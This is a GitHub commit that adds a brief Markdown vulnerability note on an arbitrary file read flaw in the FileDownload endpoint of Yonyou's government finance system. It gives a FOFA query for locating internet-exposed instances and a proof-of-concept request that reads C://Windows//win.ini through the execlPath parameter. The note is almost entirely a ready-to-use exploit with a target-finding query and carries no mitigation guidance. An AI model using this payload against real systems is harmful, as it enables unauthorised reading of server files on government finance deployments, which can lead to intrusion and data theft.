Create 用友政务财务系统FileDownload存在任意文件读取漏洞.md

This commit is contained in:
wy876
2024-04-23 12:43:05 +08:00
committed by GitHub
parent daecdb78b9
commit 215a8cfd9c

View File

@@ -0,0 +1,12 @@
## 用友政务财务系统FileDownload存在任意文件读取漏洞
## fofa
```
app="用友-政务财务系统"
```
## poc
```
/bg/attach/FileDownload?execlPath=C://Windows//win.ini
```